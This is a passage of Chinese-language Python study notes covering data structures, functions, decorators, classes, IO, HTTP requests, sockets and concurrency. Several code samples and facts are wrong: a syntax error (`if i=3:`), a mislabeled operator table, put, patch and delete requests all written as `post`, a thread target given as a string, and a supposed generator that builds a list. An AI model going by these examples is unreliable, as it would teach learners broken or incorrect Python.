- 判断**st1**是否是**st2**的父集
10. `st1.update(m)`
- 向集合里面添加元素**m**,**m**可以为**字符串**、**列表**、**元组**、**集合**、**字典**(字典只存key)
#### 字典方法
1. `d = dict.fromkeys(m, v)`
- 生成一个字典**d**,键是**可迭代对象m**中的元素,值是默认值**v**
2. `d.setdefault(k, v)`
- 查询字典**d**中有没有**k**这个键,有则返回**k**对应的值;无则添加,`d[k]=v`
3. `d.clear()`
- 清空字典
4. `d.pop(k)`
- 删除以**k**为键的键值对
5. `d.popitem()`
- 删除最后一个键值对
6. `d.update(new_d)`
- 把new_d的键值对合并到d中
7. `d[k]=v`
- 添加或修改键值对
8. `d.get(k, v)`
- 查询**d**中是否**k**这个键值对,若有,返回**k**的值;若没有,返回默认值**v**
#### 判断类型的方法
1. `type(变量)`
2. `isinstance(变量,类型)`
------
### 运算符
*优先级从上至下,由高到低*
| 运算符 | 说明 |
| ------------------------------------------------------ | ------------------------------------------------ |
| `**` 、`^`、 ` !` | 指数、按位翻转、非 |
| `*`、 `/`、 `%`、 ` //` | 乘、除、取模、整除 |
| `+`、 ` -` | 加、减 |
| `>>`、 `<<` | 左移、右移 |
| `==`、 `>=`、 `<=`、 `>`、 `<`、 `!=` | 是否相等、大于等于、小于等于、大于、小于、不等于 |
| `=`、 `+=`、 `-=`、 `*=`、 `/=`、 `%=`、 `**=`、 `//=` | 赋值(其中`a+=b`,相当于`a=a+b`,其他的同理) |
| `is`、 `is not` | 判断`id`是否相同 |
| `in`、 `not in` | 判断成员是否存在 |
| `and`、 `or`、 `not` | 与、或、非 |
------
### 流程控制
#### 判断
if-else
```python
if 条件:
语句
else:
语句
```
if-elif-else
```python
if 条件1:
语句
elif 条件2:
语句
elif 条件3:
语句
else:
语句
```
类似三目运算符
```python
# 如果满足条件,则执行语句A,否则执行语句B,是if-else的简写
语句A if 条件 else 语句B
```
#### 循环
while
```python
while 条件:
语句
```
while-else
```python
while 条件:
语句
else:
循环结束后执行的语句
```
for-in
```python
for i in 可迭代对象:
语句
```
跳出循环
```python
# break 跳出整个循环体
for i in [1, 2, 3, 4, 5]:
# 当i>3时,跳出循环,不再往下迭代
if i>3:
break
print(i)
# [输出] : 1, 2, 3
# continue 跳出本次循环
for i in [1, 2, 3, 4, 5]:
# 当i=3时,跳出本次循环,进入下次迭代
if i=3:
continue
print(i)
# [输出] : 1,2,4,5
```
------
### 函数
#### 定义函数
```python
# 无参无返回值
def foo():
语句
# 有参无返回值
def foo(x, y):
z = x + y
# 无参有返回值
def foo():
x = 1
return x + 1
# 有参有返回值
def foo(x, y):
return x + y
```
#### 空函数
```python
def emptyfunc():
pass
```
#### 多个返回值
return多个值,其实是返回一个元组
```python
def foo():
x, y, z=1, 2, 3
return x,y,z
# 返回一个元组
tup = foo()
# 元组拆包
x1, y1, z1 = foo()
```
#### 函数的参数
1. 必选参数
- `def foo(x, y, z):pass`
2. 默认参数
- `def foo(x=1):pass`
- 假如不传`x`参数的话,`x`默认是等于1
3. 可变参数(`*`)
- 不定长传参
- 定义:`def foo(*args):pass`
- 调用:`foo(1,2,3,4,5)`
- 元组和列表的压包
- 定义:`def foo(*args):pass`
- 调用:`foo(*(1,2,3,4,5))` or `foo(*[1,2,3,4,5])`
4. 关键字参数(`**`)
- 定义:`def foo(**kwargs):pass`,其中`kwargs`是一个字典
- 调用:
- `foo(k1=v1, k2=v2)` 参数传入键值对
- `foo(**d)` 参数传入字典**d**
5. 命名关键字参数(`*`)
- 定义:
- `def foo(a, b, *, k1, k2, k3):pass` a, b是普通参数,k1, k2, k3 是命名关键字参数
- 命名关键字参数需要一个特殊分隔符`*`,后面的参数被视为命名关键字参数
- 如果函数定义中已经有了一个可变参数,后面跟着的命名关键字参数就不再需要一个特殊分隔符`*`了
- 调用
- `foo(a, b, k1=v1, k2=v2, k3=v3)`
6. 参数组合
- 定义:`def fun(parameter,*args,keyparameter,**kwargs):pass`
- 参数定义顺序:必选参数,默认参数,可变参数,命名关键字参数,关键字参数
#### 函数的递归
```python
# 典型案例:斐波那契数列
def fib_recursion(idx):
if idx <= 2:
return 1
else:
return fib_recursion(idx-1) + fib_recursion(idx-2)
```
注意:
1. 必须设置函数终止条件
2. 实用递归优点是逻辑简单清晰,缺点是过深调用导致栈溢出
#### 函数作用域
1. 外部不能访问函数内部变量
2. 函数内部能够访问外部变量
3. 函数内部不能修改外部变量,强行修改需要加 `global 外部变量 = 新值`
4. 函数内部和函数外部变量名可以相同,但需要注意访问优先级
```python
# 例子一,内部访问同名变量,不要在内部变量定义之前去访问
g = 1
def foo():
print(g) # 报错 UnboundLocalError: local variable 'g' referenced before assignment
g = 2
print(g) # 2
foo()
print(g) # 1
# -------------------- #
# 例子二,采用global关键字,会把内部变量g声明成全局变量,从而在函数内部可以改变全局变量
g = 1
def foo():
global g
print(g) # 1
g = 2
print(g) # 2
foo()
print(g) # 2
```
#### 函数式编程
##### 高阶函数
`map`
用法:`map(函数名,列表/元组/集合/字符串)`
说明:把传入的函数依次作用于每个元素,处理完后返回的是生成器类型,需要用list生成数据
```python
li = [1, 2, 3, 4, 5]
def add1(x):
return x + 1
add_li = list(map(add1, li)) # [2, 3, 4, 5, 6]
```
`filter`
用法:`filter(函数名, 列表/元组/集合/字符串)`
说明:filter()把传入的函数依次作用于每个元素,然后根据返回值是True还是False决定保留还是丢弃该元素,处理完后返回的是生成器类型,需要用list生成数据
```python
li = [1, 2, 3, 4, 5, 6]
def even_num(n):
if n%2 == 0:
return n
even_li = list(filter(even_num, li)) # [2,4,6]
```
`reduce()`
用法:`reduce(函数名,列表/元组/集合/字符串)`
说明:reduce()用于对参数序列中元素进行累积。python3 中,reduce已经被从全局名字空间里移除了,它被放置在functools模块里
```python
from functools import reduce
li = [1, 2, 3, 4, 5]
m = reduce(lambda x, y : x+y, li) # m=15
```
#### 返回函数
```python
def outer_foo(*args):
def inner_foo():
for i in args:
print(i)
return inner_foo
f = outer_foo(1, 2, 3, 4, 5)
f() # 1 2 3 4 5
```
函数可以被当作返回值返回
#### 函数的闭包
```python
# 典型案例1:
# 外部函数只是返回了函数名的列表,但并没有调用。等到内部函数被调用的时候,外部函数已经迭代完毕,最终的i变成3,所以f1()、f2()、f3()相当于执行了三次f(),返回3*3=9
def count():
fs = []
for i in range(1, 4):
def f():
return i*i
fs.append(f)
return fs
f1, f2, f3 = count()
print(f1()) # 9
print(f2()) # 9
print(f3()) # 9
# 典型案例2:
# 外部函数返回的是内部函数名的调用,所以结果和案例1不相同
def count():
def f(j):
def g():
return j*j
return g
fs = []
for i in range(1, 4):
fs.append(f(i)) # f(i)立刻被执行,因此i的当前值被传入f()
return fs
f1,f2,f3=count()
print(f1()) # 1
print(f2()) # 4
print(f3()) # 9
```
#### 匿名函数
语法:`lambda 形参:含形参的表达式`
```python
f = lambda x:x+1
print(f(1)) # 2
```
lambda 返回的是函数名(函数地址)
lambda 常常与map、filter、reduce、sorted等联合使用
#### 装饰器
作用:增强函数的功能,其实装饰器可以装饰函数,也可以装饰类
定义装饰器
```python
def decorator(func):
def wrapper(*args,**kargs): # 可以自定义传入的参数
print(func.__name__)
return func(*args,**kargs) # 返回传入的方法名参数的调用
return wrapper # 返回内层函数函数名
```
实用装饰器
```python
# 使用方法1
f = decorator(函数名) # 装饰器不传入参数时
f = (decorator(参数))(函数名) # 装饰器传入参数时
f() # 执行被装饰过的函数
# 使用方法2
@decorator # 已定义的装饰器
def f(): # 自定义函数
pass
f() # 执行被装饰过的函数
```
自身不传入参数的装饰器
```python
def login(func):
def wrapper(*args,**kargs):
print('函数名:%s'% func.__name__)
return func(*args,**kargs)
return wrapper
@login
def f():
print('inside decorator!')
f()
# 输出:
# 函数名:f
# 函数本身:inside decorator!
```
自身传入参数的装饰器
```python
def login(text):
def decorator(func):
def wrapper(*args,**kargs):
print('%s----%s'%(text, func.__name__))
return func(*args,**kargs)
return wrapper
return decorator
@login('this is a parameter of decorator') # 等价于 ==> (login(text))(f) ==> 返回 wrapper
def f():
print('2019-06-13')
f() # 等价于 ==> (login(text))(f)() ==> 调用 wrapper() 并返回 f()
# 输出:
# this is a parameter of decorator----f
# 2019-06-13
```
内置装饰器
`@property` :把类内方法当成属性来使用,必须要有返回值,相当于getter;假如没有定义@func.setter修饰的方法的话,就是只读属性。
```python
# property 例子
class Car:
def __init__(self, name, price):
self._name = name
self._price = price
@property
def car_name(self):
return self._name
# car_name可以读写的属性
@car_name.setter
def car_name(self, value):
self._name = value
# car_price是只读属性
@property
def car_price(self):
return str(self._price) + '万'
benz = Car('benz', 30)
print(benz.car_name) # benz
benz.car_name = "baojun"
print(benz.car_name) # baojun
print(benz.car_price) # 30万
```
`@staticmethod` :静态方法,不需要表示自身对象的self和自身类的cls参数,就跟使用函数一样。
`@classmethod` :类方法,不需要self参数,但第一个参数需要是表示自身类的cls参数。
```python
class Demo(object):
text = "三种方法的比较"
def instance_method(self):
print("调用实例方法")
@classmethod
def class_method(cls):
print("调用类方法")
print("在类方法中 访问类属性 text: {}".format(cls.text))
print("在类方法中 调用实例方法 instance_method: {}".format(cls().instance_method()))
@staticmethod
def static_method():
print("调用静态方法")
print("在静态方法中 访问类属性 text: {}".format(Demo.text))
print("在静态方法中 调用实例方法 instance_method: {}".format(Demo().instance_method()))
if __name__ == "__main__":
# 实例化对象
d = Demo()
# 对象可以访问 实例方法、类方法、静态方法
# 通过对象访问text属性
print(d.text)
# 通过对象调用实例方法
d.instance_method()
# 通过对象调用类方法
d.class_method()
# 通过对象调用静态方法
d.static_method()
# 类可以访问类方法、静态方法
# 通过类访问text属性
print(Demo.text)
# 通过类调用类方法
Demo.class_method()
# 通过类调用静态方法
Demo.static_method()
```
`@staticmethod`和`@classmethod`的区别和使用场景:
在上述例子中,我们可以看出,
在**定义**静态类方法和类方法时,`@staticmethod`装饰的**静态方法**里面,想要访问类属性或调用实例方法,必须需要把类名写上;而`@classmethod`装饰的**类方法**里面,会传一个`cls`参数,代表本类,这样就能够避免手写类名的硬编码。
在**调用**静态方法和类方法时,实际上写法都差不多,一般都是通过`类名.静态方法()`或`类名.类方法()`。也可以用实例化对象去调用静态方法和类方法,但为了和实例方法区分,最好还是用类去调用静态方法和类方法。
所以,在定义类的时候,**假如不需要用到与类相关的属性或方法时,就用静态方法**`@staticmethod`;**假如需要用到与类相关的属性或方法,然后又想表明这个方法是整个类通用的,而不是对象特异的,就可以使用类方法**`@classmethod`。
#### 内置函数
##### 常用函数
`len()`求长度
`min()`求最小值
`max()`求最大值
`sorted()`排序
`sum()`求和
`dir()`查看对象所有属性和方法
`type()`查看对象属于哪个类
##### 进制转换函数
`bin()`转换为二进制
`oct()`转换为八进制
`hex()`转换为十六进制
`ord()`字符转ASCII码
`chr()`ASCII码转字符
##### 高级内置函数
`enumerate()` 转化为元组标号,通常用于遍历输出列表元素下标
```python
# enumerate 的例子
li = [1, 2, 3, 4, 5]
for idx, ele in enumerate(li):
print(idx, ':', ele)
```
`eval(str)`只能运行一行字符串代码,也可以用于字符串转字典
```python
# eval 的例子
d = eval("{'a':1,'b':2}")
print(type(d))
print(d)
```
`exec(str)`执行字符串编译过的字符串,可以运行多行字符串代码
`filter(函数名,可迭代对象)`过滤器
`map(函数名,可迭代对象)`对每个可迭代对象的每个元素处理
`zip(可迭代对象,可迭代对象)`将对象逐一配对
```python
# zip 的例子
# 压缩
l1 = ['a', 'b', 'c', 'd', 'e']
l2 = [1, 2, 3, 4, 5]
l = list(zip(l1,l2)) # [('a', 1), ('b', 2), ('c', 3), ('d', 4), ('e', 5)]
d = dict(zip(l1,l2)) # {'a': 1, 'b': 2, 'c': 3, 'd': 4, 'e': 5}
# 解压
tup = (('a',1),('b',2),('c',3),('d',4))
l1,l2 = zip(*tup)
# l1 ('a', 'b', 'c', 'd')
# l2 (1, 2, 3, 4)
```
------
### 高级特性
#### 切片
切片适用于字符串`''`、列表`[]`和元组`()`
```python
li = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
print(li[0]) # 取下标为0的元素,1
print(li[::]) # 取全部元素,[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
print(li[::2]) # 步长为2取值,[1, 3, 5, 7, 9]
print(li[1:3]) # 左开右闭,[2, 3]
print(li[1:]) # 下标大于等于1的元素,[2, 3, 4, 5, 6, 7, 8, 9, 10]
print(li[:5]) # 下标小于5的元素,[1, 2, 3, 4, 5]
print(li[::-1]) # 列表逆序,[10, 9, 8, 7, 6, 5, 4, 3, 2, 1]
```
#### 迭代
可迭代对象:可以直接作用于for循环的对象统称为可迭代对象(`Iterable`)
判断对象是否可迭代
```python
from collections import Iterable
print(isinstanc(对象,Iterable))
# True为可迭代
# False为不可迭代
```
可迭代对象:字符串,列表,元组,字典,集合
遍历可迭代对象(字典除外):
```python
for i in 可迭代对象:
语句
```
对字典遍历
```python
# d 是一个字典
# 遍历 keys
for i in d:
语句
# 或者
for i in d.keys():
语句
# 遍历 values
for i in d.values():
语句
# 同时遍历 key 和 value
for k,v in d.items():
语句
```
#### 生成式
**列表生成式**:`[返回的参数 for循环 条件判断]`
```python
li = [i for i in range(11) if i%2==0]
print(li) # [0, 2, 4, 6, 8, 10]
```
**集合生成式**:`{返回的参数 for循环 条件判断}`
```python
s = {i for i in range(1,10) if i%2==0}
print(s) # {8, 2, 4, 6}
```
**字典生成式**:`{key:value for循环 条件判断}`
```python
li=['a','b','c','d','e','f','g','h']
d={i:j for i,j in enumerate(li) if i%2==0}
print(d) # {0: 'a', 2: 'c', 4: 'e', 6: 'g'}
```
**生成器**:`(返回的参数 for循环 条件判断)`
```python
gen = [i for i in range(11) if i%2==0]
print(gen) # [0, 2, 4, 6, 8, 10]
```
#### 生成器
生成器:为了节省内存空间,提高程序速度,这种一边循环一边计算的机制,称为生成器(`Generator`)。
`next()`取值
```python
li=[1, 2, 3, 4, 5]
g=(x for x in li)
print(g)
print(next(g))
print(next(g))
print(next(g))
print(next(g))
print(next(g))
# [输出]:
# <generator object <genexpr> at 0x0000018F628397C8>
# 1
# 2
# 3
# 4
# 5
```
for循环遍历取值
```python
li=[1, 2, 3, 4, 5]
g=(x for x in li)
print(g)
for i in g:
print(i)
# [输出]:
# <generator object <genexpr> at 0x0000018F628397C8>
# 1
# 2
# 3
# 4
# 5
```
生成器函数
用yield返回的函数,都可以看作是生成器
```python
def fun():
yield 1
yield 2
yield 3
print(next(f)) # 1
print(next(f)) # 2
print(next(f)) # 3
print(next(f)) # 抛出异常:StopIteration
```
用for循环遍历生成器
```python
f = fun()
for i in f:
print(i)
# [输出]:
# 1
# 2
# 3
```
#### 迭代器
迭代器:可以被`next()`函数调用并不断返回下一个值的对象称为迭代器(`Iterator`)
实用`iter(可迭代对象)`可以把可迭代对象转化为迭代器
```python
it = iter([1, 2, 3, 4, 5])
next(it) # 1
next(it) # 2
next(it) # 3
```
注意:
1. 凡是可作用于for循环的对象都是Iterable类型
2. 凡是可作用于next()函数的对象都是Iterator类型,它们表示一个惰性计算的序列
3. 集合数据类型如list、dict、str等是Iterable但不是Iterator,不过可以通过iter()函数获得一个Iterator对象
4. Python的for循环本质上就是通过不断调用next()函数实现的
------
### 类
#### 类的定义
```python
class Teacher:
pass
```
#### 控制对象的生成过程`__new__`
`__new__`是用来控制对象的生成过程的,在对象生成之间调用,如果`__new__`方法不返回对象,则不会调用`__init__`
```python
class User:
def __new__(cls, *args, **kwargs):
print("in new")
return super().__new__(cls)
def __init__(self, name):
print("in init")
self.name = name
```
#### 初始化实例属性`__init__`
`__init__`是用来完善对象的,在对象生成之后调用
```python
class Teacher:
def __init__(self, name, age, subject):
self.name = name
self.age = age
self.subject = subject
```
#### 实例化对象
```python
t = Teacher('Dzreal', 25, 'PE')
```
#### 实例属性和类属性
```python
class Teacher:
age = 20
def __init__(self, name, age, subject):
self.name = name
self.age = age
self.subject = subject
t = Teacher('Dzreal', 25, 'PE')
print(t.age) # 25
del t.age # 删除实例属性后,自动调用类属性
print(t.age) # 20
```
注意:
1. 实例属性的优先级高于类属性
2. 类没有实例属性时会调用类属性
#### 访问限定
伪私有属性 `_attrname`:可以访问,但不要随意访问
私有属性 `__attrname`:一般不可访问,强行访问的话,可以通过 `实例._类名__attrname`来访问
```python
class Teacher:
def __init__(self, name, age, subject):
self.__name = name
self.age = age
self._subject = subject
def get_fake_private(self):
print(self._subject)
def get_private(self):
print(self.__name)
t = Teacher('Dzreal', 25, 'PE')
# 通过实例方法访问私有属性
t.get_fake_private() # PE
t.get_private() # Dzreal
# 直接访问私有属性
print(t._subject) # PE
print(t._Teacher__name) # Dzreal
print(t.__name) # 报错 AttributeError: 'Teacher' object has no attribute '__name'
```
#### 定制属性访问
`hasattr(m,'n')` m:实例 n:类里面的属性 确定属性是否存在
`getattr(m,'n')` m:实例 n:类里面的属性 得到指定类属性的值
`setattr(m,'n',x)` m:实例 n:类里面的属性 x:设置属性的值 有则改无则添加
`delattr(m,'n')` m:实例 n:类里面的属性 删除一个类属性
#### 继承
##### 单继承
```python
class A:
def foo(self):
print("father foo")
class B(A):
pass
b = B()
b.foo() # father foo
```
##### 多继承
python的继承采用 C3算法+DFS算法(深度优先算法)实现
```python
# 案例一、普通多继承
class A:
def foo(self):
print(A)
class B:
def foo(self):
print(B)
class C(A):
pass
class D(B):
pass
# 继承顺序似乎和C、D的顺序有关,要是改成 class E(D, C), 继承顺序又会不一样
class E(C, D):
pass
e = E()
e.foo()
# A
# mro() 或 __mro__ 可以查看继承顺序
print(E.mro())
# [<class '__main__.E'>, <class '__main__.C'>, <class '__main__.A'>, <class '__main__.D'>, <class '__main__.B'>, <class 'object'>]
# 即继承顺序是:E->C->A->D->B
# 案例二、菱形结构继承
class A:
pass
class B(A):
pass
class C(A):
pass
class D(C,B):
pass
print(D.mro())
# [<class '__main__.D'>, <class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>]
# 即继承顺序是:D->C->B->A
# 说明python的继承不完全是深度优先算法实现,而是采用 C3算法+DFS算法(深度优先)
```
##### super
```python
class A:
def __init__(self):
print("A")
class B(A):
def __init__(self):
print("B")
super().__init__()
b = B()
# [输出]:
# B
# A
```
#### 多态
```python
class Animal:
def run(self):
raise AttributeError('子类必须实现这个方法')
class People(Animal):
def run(self):
print('人正在走')
class Pig(Animal):
def run(self):
print('猪正在走')
peo=People()
pig=Pig()
peo.run() # 人正在走
pig.run() # 猪正在走
```
注意:
1. `super().__init__()`不是调用父类的构造函数,而是调用mro下一个类的构造函数
2. 假如父类方法`foo`被子类重写,`super().foo()`可以调用父类方法
3. 假如父类方法`foo`没有被子类重写,`self.foo()`可以调用父类方法
##### 鸭子类型
python的内置协议(魔法函数)就是一个很典型的鸭子类型的例子:
如果一个对象实现了`__getitem__`方法,那python的解释器就会把它当做一个`collection`,就可以在这个对象上使用切片,获取子项等方法。
如果一个对象实现了`__iter__`和`next`方法,python就会认为它是一个`iterator`,就可以在这个对象上通过循环来获取各个子项。
```python
# 鸭子类型案例:
# 下面的例子,之所以能实现鸭子类型,是因为python的变量可以指向任意类型。而在java中,是无法实现的,java中需要指明类型或父类类型,才能实现多态。
class Pig:
def say(self):
print("i am a pig")
class Dog:
def say(self):
print("i am a dog")
class Duck:
def say(self):
print("i am a duck")
animal_list = [Pig, Dog, Duck]
for animal in animal_list:
animal().say()
# [输出]:
# i am a pig
# i am a dog
# i am a duck
```
------
### 魔法函数
python的魔法函数定义之后,不要去调用它,python解释器自己会去调用,定义魔法函数的作用是在于利用python的鸭子类型的特性,给类添加一些特性。
#### 字符串表示
`__repr__`:在命令行交互模式下会用到,某个类中重写了`__repr__`方法,就不用调用`print`函数,只需要输入类名,在控制台下就会调用`__repr__`,输出`__repr__`定义的内容
`__str__`: 调用`print(类名)`,实际上会调用类的`__str__`方法
#### 集合、序列相关
`__len__`:获取元素个数
`__getitem__`
`__setitem__`
`__delitem__`
`__contains__`
#### 迭代相关
`__iter__`
`__next__`
#### 可调用
`__call__`
#### with上下文管理器
`__enter__`:开始的时候调用
`__exit__`:结束的时候调用
#### 数值转换
`__abs__`
`__bool__`
`__int__`
`__float__`
`__hash__`
`__index__`
#### 元类相关
`__new__`
`__init__`
#### 属性相关
`__getattr__`、`__setattr__`
`__getattribute__`、`__setattribute__`
`__dir__`
#### 属性描述符
`__get__`
`__set__`
`__delete__`
#### 协程
`__await__`
`__aiter__`
`__anext__`
`__aenter__`
`__aexit__`
------
### IO编程
#### 文件操作
**打开文件**
```python
# 打开文件
# 模式:
# r 读
# w 写
# a 追加写
# r+ 读写(先读后写)
# w+ 写读(先写后读)
# a+ 追加写读(先写后读)
fp = open(文件路径,模式,encoding='utf-8')
# 关闭文件
fp.close()
# 上下文管理器打开文件(会自动close文件)
with open(文件路径,模式,encoding='utf-8') as fp:
fp.read()
```
`fp.seek(m)`:移动文件指针,当前位置向后移动m个字节
`fp.tell(m)`:查看文件指针
`fp.flush(m)`:刷新缓冲区和`fp.close()`类似
**文件读取**
`fp.read(m)`:文件全文读取成一个大字符串,m:代表读取m个字节。
`fp.readline()`:按行读取文件,默认只返回第一行,查看全文用`while` 循环遍历文件
```python
with open('test.txt','r',encoding='utf-8') as fp:
line = fp.readline()
while line:
line = fp.readline()
print(line)
```
`fp.readlines()`:把文件按行存成大数组,一般用for循环遍历每行
**文件写入**
`fp.write(内容)` 文件中写入内容
`fp.writelines(list)` 文件中写入列表类型内容
`fp.truncate()` 文件内容清空
#### Json操作
需要用到 json 库(`import json`)
`json.loads()`:把 json 格式的字符串转换成 python 对象
`json.dumps()`:把 python 对象转换成 json 格式的字符串
`json.load(open(文件路径))`:读取文件中 json 形式的字符串元素,转换成python对象
`json.dump(open(文件路径))`:把 python 对象转换成 json 格式的字符串并存入文件中
**jsonpath**
| Xpath | JSONPath | 描述 |
| ----- | -------- | ------------------------------------------------------------ |
| / | $ | 跟节点 |
| . | @ | 现行节点 |
| / | . or [] | 取子节点 |
| .. | .. | 就是不管位置,选择所有符合条件的条件 |
| * | * | 匹配所有元素节点 |
| [] | [] | 迭代器标示(可以在里面做简单的迭代操作,如数组下标,根据内容选值等) |
| | | [,] | 支持迭代器中做多选 |
| [] | ?() | 支持过滤操作 |
| n/a | () | 支持表达式计算 |
| () | n/a | 分组,JsonPath不支持 |
```python
import json
import jsonpath
json_str = '[{"id":1,"category":{"id":1,"category":"常用改图工具","sn":"cierlezk","weight":60,"cat_is_show":true,"add_time":"2019-07-13T11:41:00","webconfig":1},"name":"在线修改图片尺寸","desc":null,"url":"https://www.gaitubao.com/","logo":null,"ws_is_show":true,"add_time":"2019-07-13T11:42:00"},{"id":2,"category":{"id":1,"category":"常用改图工具","sn":"cierlezk","weight":60,"cat_is_show":true,"add_time":"2019-07-13T11:41:00","webconfig":1},"name":"图片加水印","desc":null,"url":"https://www.gaitubao.com/shuiyin/","logo":null,"ws_is_show":true,"add_time":"2019-07-13T11:46:00"},{"id":3,"category":{"id":1,"category":"常用改图工具","sn":"cierlezk","weight":60,"cat_is_show":true,"add_time":"2019-07-13T11:41:00","webconfig":1},"name":"在线压缩图片","desc":null,"url":"https://img.top/","logo":null,"ws_is_show":true,"add_time":"2019-07-13T11:46:00"}]'
# json 字符串转成 python 对象
py_obj = json.loads(json_str)
name = jsonpath.jsonpath(py_obj, '$..name')
url = jsonpath.jsonpath(py_obj, '$..url')
print(name) # ['在线修改图片尺寸', '图片加水印', '在线压缩图片']
print(url) # ['https://www.gaitubao.com/', 'https://www.gaitubao.com/shuiyin/', 'https://img.top/']
```
#### 网络编程
##### http请求
发送http请求用`requests`库(`import requests`)
**发送请求**
`r = requests.get(url='网址url', params={"k":"v"})` :发送 get 请求
`r = requests.post(url='网址url', data={"k":"v"})` :发送 post 请求
`r = requests.post(url='网址url', data={"k":"v"})` :发送 put 请求
`r = requests.post(url='网址url', data={"k":"v"})` :发送 patch 请求
`r = requests.post(url='网址url', **kwargs)` :发送 delete 请求
`r = requests.head(url='网址url')` :发送 head 请求
**响应处理**
```python
import requests
url = 'http://www.baidu.com'
r = requests.get(url)
print(r.text) # 获取网页html源码
print(r.json()) # 若返回值是json,把json转成python对象
print(r.status_code) # 获取http响应码
print(dict(r.cookies)) # 获取cookies
print(dict(r.headers)) # 获取headers
try:
r = requests.get(url)
r.raise_for_status()
print(r.text)
except:
print("http请求出现异常")
```
##### socket编程
**服务端**要做的工作:
1. 创建socket
2. 绑定端口
3. 监听端口
4. 接收消息
5. 发送消息
**客户端**要做的工作:
1. 创建socket
2. 连接socket
3. 发送消息
4. 接收消息
**客户端代码**
```python
# 客户端
import socket
if __name__ == '__main__':
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('127.0.0.1', 8000))
while True:
re_data = input()
client.send(re_data.encode("utf8"))
data = client.recv(1024)
print(data.decode("utf8"))
```
**服务端代码**
```python
# 服务端
import socket
import threading
# 处理客户端的请求
def handle_sock(sock, addr):
while True:
data = sock.recv(1024)
print(data.decode("utf8"))
re_data = input()
sock.send(re_data.encode("utf8"))
if __name__ == '__main__':
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 8000))
server.listen()
#获取从客户端发送的数据
#一次获取1k的数据
while True:
sock, addr = server.accept()
#用线程去处理新接收的连接(用户)
client_thread = threading.Thread(target=handle_sock, args=(sock, addr))
client_thread.start()
```
------
### 多线程、多进程、线程池和进程池编程
#### 多线程
多线程是操作系统能够调度的最小单元
需要用到`threading`库(`import threading`)
**实例化** `对象=Thread(target=函数名,args=(函数参数,))`
**设置线程名** `对象.setName(‘线程名’)`
**获取线程名** `对象.getName()`
**获取当前线程名** `threading.current_thread().name`
**开启线程** `对象.start()`
**线程守护** `对象.setDaemon(True)` 主线程结束它的子线程就结束
**线程阻塞** `对象.join()` 当子线程结束后主线程才结束
**线程锁** 解决cpu资源竞争问题
**实例化线程锁** `对象=threading.Lock()`
**上锁** `对象.acquire()`
**解锁** `对象.release()`
**可重入锁** `对象=threading.RLock()` 在同一个线程(函数)里面,锁里面还可以加锁,只要锁acquire的次数和release的次数一样就行
**线程间通讯**
1. 共享变量(不是线程安全,需要加锁)
2. Queue(`from queue import Queue`,Queue是线程安全的)
**线程同步**
Q:为什么要线程同步?
A:保证同一时刻,只有加锁的代码段处于执行状态,不会因为cpu资源竞争,不同代码段同时操作某个数据,导致数据错乱,这样保证了线程安全
Q:为什么会出现死锁?
A:(1)锁没有释放,然后又申请了加锁。(2)互相等待,资源互相竞争
Q:怎么解决死锁?
A:(1)申请锁要记得释放锁(2)用可重入锁`RLock`
*注意*:
1. 用锁会影响性能
2. 锁有可能会引起死锁
线程间同步的方式:
1. `Lock` 锁
2. `RLock` 可重入锁
3. `condition` 条件变量,用于复杂的线程间同步。
- 需要注意线程启动顺序
- 可以用`with语句`获得`condition`
- 重要方法:`condition.notify()`和`condition.wait()`,切换conditon时用到
4. `Semaphore` 信号量,用于控制进入数量的锁(控制线程并发数量),`semaphore.acquire()`减少一把锁,`semaphore.release()`加回来一把锁,锁的数量等于0,就等待
##### 基于函数创建线程
```python
import threading
def mytask(name):
print("{} task start".format(name))
time.sleep(2)
print("{} task stop".format(name))
if __name__ == '__main__':
thread1 = threading.Thread(target="mytask", args=('task1',))
thread2 = threading.Thread(target="mytask", args=('task2',))
thread1.start()
thread2.start()
thread1.join()
thread2.join()
print("线程全部执行完毕")
```
##### 基于类创建线程
```python
class MyTask(threading.Thread):
def __init__(self, name):
super().__init__(name=name)
# 必须要重载run方法
def run(self):
print("{} task start".format(name))
time.sleep(2)
print("{} task stop".format(name))
if __name__ == '__main__':
thread1 = MyTask(task1)
thread2 = MyTask(task2)
thread1.start()
thread2.start()
thread1.setDaemon(True) # 主线程结束了,子线程也会结束
thread2.setDaemon()
print("线程全部执行完毕")
```
#### 线程池和进程池
使用`concurrent.futures`库(`from concurrent.futures import ThreadPoolExecutor,`)
`ThreadPoolExecutor(max_workers)`**线程池**
```python
import time
from concurrent.futures import ThreadPoolExecutor, as_completed,wait
def mytask(name):
print("{} task start".format(name))
time.sleep(2)
print("{} task stop".format(name))
return time.time()
if __name__ == '__main__':
all_tasks = []
executor = ThreadPoolExecutor(max_workers=3)
task1 = executor.submit(mytask, ('task1'))
task2 = executor.submit(mytask, ('task2'))
all_tasks.append(task1)
all_tasks.append(task2)
# 判断线程有没有执行完成,done()方法是非阻塞的方法
print(task1.done())
# 可以获取线程执行结果,result()方法是阻塞的方法
print(task1.result())
# 取消执行线程,只能在线程执行前调用,线程开始或线程结束,无法调用 cancel()
task2.result() # false
# as_completed 是生成器,返回已经完成的future对象
for future in as_completed(all_tasks):
data = future.result()
print("completed time is {}".format(data))
# 用 executor.map(函数,iterable)更加能精简代码,map返回的是future.result()
name_list = ['task3', 'task4', 'task5']
for data in executor.map(mytask, name_list):
print(data)
# wait(future序列),等待future序列都运行完了,才往下执行
future_list = [executor.submit(mytask, (name)) for name in name_list]
wait(future_list)
print("线程全部执行完毕")
```
`ProcessPoolExecutor(max_workers)`**进程池**
进程池用法和线程池差不多
#### 多进程
**多进程和多线程的使用场景**
- 耗CPU的操作,用**多进程**
- 耗IO的操作,用**多线程**
多进程用`multiprocessing`模块
```python
from multiprocessing import Process, Pool
def fib(n):
if n < 2:
return 1
return fib(n-1) + fib(n-2)
if __name__ == '__main__':
# 进程
process = Process(target=fib, args=(10,))
process.start()
process.join()
# 进程池 multiprocessing的进程池
pool = multiprocessing.Pool(multiprocessing.cpu_count())
# 异步启动进程池,返回值是类似future的对象
result = pool.apply_async()
# 不再接收新的任务(在pool.join()之前,一定要有pool.close())
pool.close()
# 等待所有进程执行完
pool.join()
# 返回进程执行返回值
result.get()
```
**进程间通信**
1. Queue: 用 `multiprocessing.Queue` ,注意:这个Queue不能用在multiprocessing.Pool中
